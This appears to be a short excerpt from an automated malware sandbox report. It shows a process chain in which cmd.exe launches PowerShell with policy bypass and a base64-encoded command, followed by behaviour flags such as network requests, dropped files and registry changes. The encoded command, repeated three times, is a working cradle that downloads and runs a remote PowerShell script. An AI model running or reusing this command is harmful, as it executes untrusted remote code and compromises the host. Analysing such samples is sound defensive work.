C:\Windows\System32\cmd.execmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA1⤵PID:3188
-
C:\Windows\system32\cmd.execmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA2⤵PID:792
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA3⤵
- Blocklisted process makes network request
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1820
-
-